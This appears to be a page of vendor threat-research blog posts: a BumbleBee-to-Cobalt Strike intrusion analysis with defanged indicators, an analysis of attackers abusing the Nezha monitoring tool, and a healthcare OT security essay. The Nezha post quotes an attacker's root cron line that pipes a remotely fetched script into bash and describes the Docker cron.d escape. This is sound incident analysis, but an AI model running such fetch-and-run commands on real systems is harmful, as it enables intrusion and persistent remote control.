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September 4, 2022

Steps of a BumbleBee Intrusion to a Cobalt Strike

Discover the steps of a Bumblebee intrusion, from initial detection to Cobalt Strike deployment. Learn how Darktrace defends against evolving threats with AI.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Sam Lister
Specialist Security Researcher
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04
Sep 2022

Introduction

Throughout April 2022, Darktrace observed several cases in which threat actors used the loader known as ‘BumbleBee’ to install Cobalt Strike Beacon onto victim systems. The threat actors then leveraged Cobalt Strike Beacon to conduct network reconnaissance, obtain account password data, and write malicious payloads across the network. In this article, we will provide details of the actions threat actors took during their intrusions, as well as details of the network-based behaviours which served as evidence of the actors’ activities.  

BumbleBee 

In March 2022, Google’s Threat Analysis Group (TAG) provided details of the activities of an Initial Access Broker (IAB) group dubbed ‘Exotic Lily’ [1]. Before March 2022, Google’s TAG observed Exotic Lily leveraging sophisticated impersonation techniques to trick employees of targeted organisations into downloading ISO disc image files from legitimate file storage services such as WeTransfer. These ISO files contained a Windows shortcut LNK file and a BazarLoader Dynamic Link Library (i.e, DLL). BazarLoader is a member of the Bazar family — a family of malware (including both BazarLoader and BazarBackdoor) with strong ties to the Trickbot malware, the Anchor malware family, and Conti ransomware. BazarLoader, which is typically distributed via email campaigns or via fraudulent call campaigns, has been known to drop Cobalt Strike as a precursor to Conti ransomware deployment [2]. 

In March 2022, Google’s TAG observed Exotic Lily leveraging file storage services to distribute an ISO file containing a DLL which, when executed, caused the victim machine to make HTTP requests with the user-agent string ‘bumblebee’. Google’s TAG consequently called this DLL payload ‘BumbleBee’. Since Google’s discovery of BumbleBee back in March, several threat research teams have reported BumbleBee samples dropping Cobalt Strike [1]/[3]/[4]/[5]. It has also been reported by Proofpoint [3] that other threat actors such as TA578 and TA579 transitioned to BumbleBee in March 2022.  

Interestingly, BazarLoader’s replacement with BumbleBee seems to coincide with the leaking of the Conti ransomware gang’s Jabber chat logs at the end of February 2022. On February 25th, 2022, the Conti gang published a blog post announcing their full support for the Russian state’s invasion of Ukraine [6]. 

Figure 1: The Conti gang's public declaration of their support for Russia's invasion of Ukraine

Within days of sharing their support for Russia, logs from a server hosting the group’s Jabber communications began to be leaked on Twitter by @ContiLeaks [7]. The leaked logs included records of conversations among nearly 500 threat actors between Jan 2020 and March 2022 [8]. The Jabber logs were supposedly stolen and leaked by a Ukrainian security researcher [3]/[6].

Affiliates of the Conti ransomware group were known to use BazarLoader to deliver Conti ransomware [9]. BumbleBee has now also been linked to the Conti ransomware group by several threat research teams [1]/[10]/[11]. The fact that threat actors’ transition from BazarLoader to BumbleBee coincides with the leak of Conti’s Jabber chat logs may indicate that the transition occurred as a result of the leaks [3]. Since the transition, BumbleBee has become a significant tool in the cyber-crime ecosystem, with links to several ransomware operations such as Conti, Quantum, and Mountlocker [11]. The rising use of BumbleBee by threat actors, and particularly ransomware actors, makes the early detection of BumbleBee key to identifying the preparatory stages of ransomware attacks.  

Intrusion Kill Chain 

In April 2022, Darktrace observed the following pattern of threat actor activity within the networks of several Darktrace clients: 

1.     Threat actor socially engineers user via email into running a BumbleBee payload on their device

2.     BumbleBee establishes HTTPS communication with a BumbleBee C2 server

3.     Threat actor instructs BumbleBee to download and execute Cobalt Strike Beacon

4.     Cobalt Strike Beacon establishes HTTPS communication with a Cobalt Strike C2 server

5.     Threat actor instructs Cobalt Strike Beacon to scan for open ports and to enumerate network shares

6.     Threat actor instructs Cobalt Strike Beacon to use the DCSync technique to obtain password account data from an internal domain controller

7.     Threat actor instructs Cobalt Strike Beacon to distribute malicious payloads to other internal systems 

With limited visibility over affected clients’ email environments, Darktrace was unable to determine how the threat actors interacted with users to initiate the BumbleBee infection. However, based on open-source reporting on BumbleBee [3]/[4]/[10]/[11]/[12]/[13]/[14]/[15]/[16]/[17], it is likely that the actors tricked target users into running BumbleBee by sending them emails containing either a malicious zipped ISO file or a link to a file storage service hosting the malicious zipped ISO file. These ISO files typically contain a LNK file and a BumbleBee DLL payload. The properties of these LNK files are set in such a way that opening them causes the corresponding DLL payload to run. 

In several cases observed by Darktrace, devices contacted a file storage service such as Microsoft OneDrive or Google Cloud Storage immediately before they displayed signs of BumbleBee infection. In these cases, it is likely that BumbleBee was executed on the users’ devices as a result of the users interacting with an ISO file which they were tricked into downloading from a file storage service. 

Figure 2: The above figure, taken from the event log for an infected device, shows that the device contacted a OneDrive endpoint immediately before making HTTPS connections to the BumbleBee C2 server, 45.140.146[.]244
Figure 3: The above figure, taken from the event log for an infected device, shows that the device contacted a Google Cloud Storage endpoint and then the malicious endpoint ‘marebust[.]com’ before making HTTPS connections to the  BumbleBee C2 servers, 108.62.118[.]61 and 23.227.198[.]217

After users ran a BumbleBee payload, their devices immediately initiated communications with BumbleBee C2 servers. The BumbleBee samples used HTTPS for their C2 communication, and all presented a common JA3 client fingerprint, ‘0c9457ab6f0d6a14fc8a3d1d149547fb’. All analysed samples excluded domain names in their ‘client hello’ messages to the C2 servers, which is unusual for legitimate HTTPS communication. External SSL connections which do not specify a destination domain name and whose JA3 client fingerprint is ‘0c9457ab6f0d6a14fc8a3d1d149547fb’ are potential indicators of BumbleBee infection. 

Figure 4:The above figure, taken from Darktrace's Advanced Search interface, depicts an infected device's spike in HTTPS connections with the JA3 client fingerprint ‘0c9457ab6f0d6a14fc8a3d1d149547fb’

Once the threat actors had established HTTPS communication with the BumbleBee-infected systems, they instructed BumbleBee to download and execute Cobalt Strike Beacon. This behaviour resulted in the infected systems making HTTPS connections to Cobalt Strike C2 servers. The Cobalt Strike Beacon samples all had the same JA3 client fingerprint ‘a0e9f5d64349fb13191bc781f81f42e1’ — a fingerprint associated with previously seen Cobalt Strike samples [18]. The domain names ‘fuvataren[.]com’ and ‘cuhirito[.]com’ were observed in the samples’ HTTPS communications. 

Figure 5:The above figure, taken from Darktrace's Advanced Search interface, depicts the Cobalt Strike C2 communications which immediately followed a device's BumbleBee C2 activity

Cobalt Strike Beacon payloads call home to C2 servers for instructions. In the cases observed, threat actors first instructed the Beacon payloads to perform reconnaissance tasks, such as SMB port scanning and SMB enumeration. It is likely that the threat actors performed these steps to inform the next stages of their operations.  The SMB enumeration activity was evidenced by the infected devices making NetrShareEnum and NetrShareGetInfo requests to the srvsvc RPC interface on internal systems.

Figure 6: The above figure, taken from Darktrace’s Advanced Search interface, depicts a spike in srvsvc requests coinciding with the infected device's Cobalt Strike C2 activity

After providing Cobalt Strike Beacon with reconnaissance tasks, the threat actors set out to obtain account password data in preparation for the lateral movement phase of their operation. To obtain account password data, the actors instructed Cobalt Strike Beacon to use the DCSync technique to replicate account password data from an internal domain controller. This activity was evidenced by the infected devices making DRSGetNCChanges requests to the drsuapi RPC interface on internal domain controllers. 

Figure 7: The above figure, taken from Darktrace’s Advanced Search interface, depicts a spike in DRSGetNCChanges requests coinciding with the infected device’s Cobalt Strike C2 activity

After leveraging the DCSync technique, the threat actors sought to broaden their presence within the targeted networks.  To achieve this, they instructed Cobalt Strike Beacon to get several specially selected internal systems to run a suspiciously named DLL (‘f.dll’). Cobalt Strike first established SMB sessions with target systems using compromised account credentials. During these sessions, Cobalt Strike uploaded the malicious DLL to a hidden network share. To execute the DLL, Cobalt Strike abused the Windows Service Control Manager (SCM) to remotely control and manipulate running services on the targeted internal hosts. Cobalt Strike first opened a binding handle to the svcctl interface on the targeted destination systems. It then went on to make an OpenSCManagerW request, a CreateServiceA request, and a StartServiceA request to the svcctl interface on the targeted hosts: 

·      Bind request – opens a binding handle to the relevant RPC interface (in this case, the svcctl interface) on the destination device

·      OpenSCManagerW request – establishes a connection to the Service Control Manager (SCM) on the destination device and opens a specified SCM database

·      CreateServiceA request – creates a service object and adds it to the specified SCM database 

·      StartServiceA request – starts a specified service

Figure 8: The above figure, taken from Darktrace’s Advanced Search interface, outlines an infected system’s lateral movement activities. After writing a file named ‘f.dll’ to the C$ share on an internal server, the infected device made several RPC requests to the svcctl interface on the targeted server

It is likely that the DLL file which the threat actors distributed was a Cobalt Strike payload. In one case, however, the threat actor was also seen distributing and executing a payload named ‘procdump64.exe’. This may suggest that the threat actor was seeking to use ProcDump to obtain authentication material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). Given that ProcDump is a legitimate Windows Sysinternals tool primarily used for diagnostics and troubleshooting, it is likely that threat actors leveraged it in order to evade detection. 

In all the cases which Darktrace observed, threat actors’ attempts to conduct follow-up activities after moving laterally were thwarted with the help of Darktrace’s SOC team. It is likely that the threat actors responsible for the reported activities were seeking to deploy ransomware within the targeted networks. The steps which the threat actors took to make progress towards achieving this objective resulted in highly unusual patterns of network traffic. Darktrace’s detection of these unusual network activities allowed security teams to prevent these threat actors from achieving their disruptive objectives. 

Darktrace Coverage

Once threat actors succeeded in tricking users into running BumbleBee on their devices, Darktrace’s Self-Learning AI immediately detected the command-and-control (C2) activity generated by the loader. BumbleBee’s C2 activity caused the following Darktrace models to breach:

·      Anomalous Connection / Anomalous SSL without SNI to New External

·      Anomalous Connection / Suspicious Self-Signed SSL

·      Anomalous Connection / Rare External SSL Self-Signed

·      Compromise / Suspicious TLS Beaconing To Rare External

·      Compromise / Beacon to Young Endpoint

·      Compromise / Beaconing Activity To External Rare

·      Compromise / Sustained SSL or HTTP Increase

·      Compromise / Suspicious TLS Beaconing To Rare External

·      Compromise / SSL Beaconing to Rare Destination

·      Compromise / Large Number of Suspicious Successful Connections

·      Device / Multiple C2 Model Breaches 

BumbleBee’s delivery of Cobalt Strike Beacon onto target systems resulted in those systems communicating with Cobalt Strike C2 servers. Cobalt Strike Beacon’s C2 communications resulted in breaches of the following models: 

·      Compromise / Beaconing Activity To External Rare

·      Compromise / High Volume of Connections with Beacon Score

·      Compromise / Large Number of Suspicious Successful Connections

·      Compromise / Sustained SSL or HTTP Increase

·      Compromise / SSL or HTTP Beacon

·      Compromise / Slow Beaconing Activity To External Rare

·      Compromise / SSL Beaconing to Rare Destination 

The threat actors’ subsequent port scanning and SMB enumeration activities caused the following models to breach:

·      Device / Network Scan

·      Anomalous Connection / SMB Enumeration

·      Device / Possible SMB/NTLM Reconnaissance

·      Device / Suspicious Network Scan Activity  

The threat actors’ attempts to obtain account password data from domain controllers using the DCSync technique resulted in breaches of the following models: 

·      Compromise / Unusual SMB Session and DRS

·      Anomalous Connection / Anomalous DRSGetNCChanges Operation

Finally, the threat actors’ attempts to internally distribute and execute payloads resulted in breaches of the following models:

·      Compliance / SMB Drive Write

·      Device / Lateral Movement and C2 Activity

·      Device / SMB Lateral Movement

·      Device / Multiple Lateral Movement Model Breaches

·      Anomalous File / Internal / Unusual SMB Script Write

·      Anomalous File / Internal / Unusual Internal EXE File Transfer

·      Anomalous Connection / High Volume of New or Uncommon Service Control

If Darktrace/Network had been configured in the targeted environments, then it would have blocked BumbleBee’s C2 communications, which would have likely prevented the threat actors from delivering Cobalt Strike Beacon into the target networks. 

Figure 9: Attack timeline

Conclusion

Threat actors use loaders to smuggle more harmful payloads into target networks. Prior to March 2022, it was common to see threat actors using the BazarLoader loader to transfer their payloads into target environments. However, since the public disclosure of the Conti gang’s Jabber chat logs at the end of February, the cybersecurity world has witnessed a shift in tradecraft. Threat actors have seemingly transitioned from using BazarLoader to using a novel loader known as ‘BumbleBee’. Since BumbleBee first made an appearance in March 2022, a growing number of threat actors, in particular ransomware actors, have been observed using it.

It is likely that this trend will continue, which makes the detection of BumbleBee activity vital for the prevention of ransomware deployment within organisations’ networks. During April, Darktrace’s SOC team observed a particular pattern of threat actor activity involving the BumbleBee loader. After tricking users into running BumbleBee on their devices, threat actors were seen instructing BumbleBee to drop Cobalt Strike Beacon. Threat actors then leveraged Cobalt Strike Beacon to conduct network reconnaissance, obtain account password data from internal domain controllers, and distribute malicious payloads internally.  Darktrace’s detection of these activities prevented the threat actors from achieving their likely harmful objectives.  

Thanks to Ross Ellis for his contributions to this blog.

Appendices 

References 

[1] https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/ 

[2] https://securityintelligence.com/posts/trickbot-gang-doubles-down-enterprise-infection/ 

[3] https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming

[4] https://www.cynet.com/orion-threat-alert-flight-of-the-bumblebee/ 

[5] https://research.nccgroup.com/2022/04/29/adventures-in-the-land-of-bumblebee-a-new-malicious-loader/ 

[6] https://www.bleepingcomputer.com/news/security/conti-ransomwares-internal-chats-leaked-after-siding-with-russia/ 

[7] https://therecord.media/conti-leaks-the-panama-papers-of-ransomware/ 

[8] https://www.secureworks.com/blog/gold-ulrick-leaks-reveal-organizational-structure-and-relationships 

[9] https://www.prodaft.com/m/reports/Conti_TLPWHITE_v1.6_WVcSEtc.pdf 

[10] https://www.kroll.com/en/insights/publications/cyber/bumblebee-loader-linked-conti-used-in-quantum-locker-attacks 

[11] https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime 

[12] https://isc.sans.edu/diary/TA578+using+thread-hijacked+emails+to+push+ISO+files+for+Bumblebee+malware/28636 

[13] https://isc.sans.edu/diary/rss/28664 

[14] https://www.logpoint.com/wp-content/uploads/2022/05/buzz-of-the-bumblebee-a-new-malicious-loader-threat-report-no-3.pdf 

[15] https://ghoulsec.medium.com/mal-series-23-malware-loader-bumblebee-6ab3cf69d601 

[16]  https://blog.cyble.com/2022/06/07/bumblebee-loader-on-the-rise/  

[17]  https://asec.ahnlab.com/en/35460/ 

[18] https://thedfirreport.com/2021/07/19/icedid-and-cobalt-strike-vs-antivirus/

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Sam Lister
Specialist Security Researcher

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June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

nezha monitoring toolDefault blog imageDefault blog image

What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

 The malicious container create command.
Figure 1: The malicious container create command.

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The linux_install script.
Figure 2: The linux_install script.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

The attacker’s Nezha dashboard.
Figure 3: The attacker’s Nezha dashboard.

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible.  The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

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Nathaniel Bill
Malware Research Engineer

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June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

healthcare OTDefault blog imageDefault blog image

Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors.

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

[related-resource]

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About the author
Daniel Simonds
Director of Operational Technology
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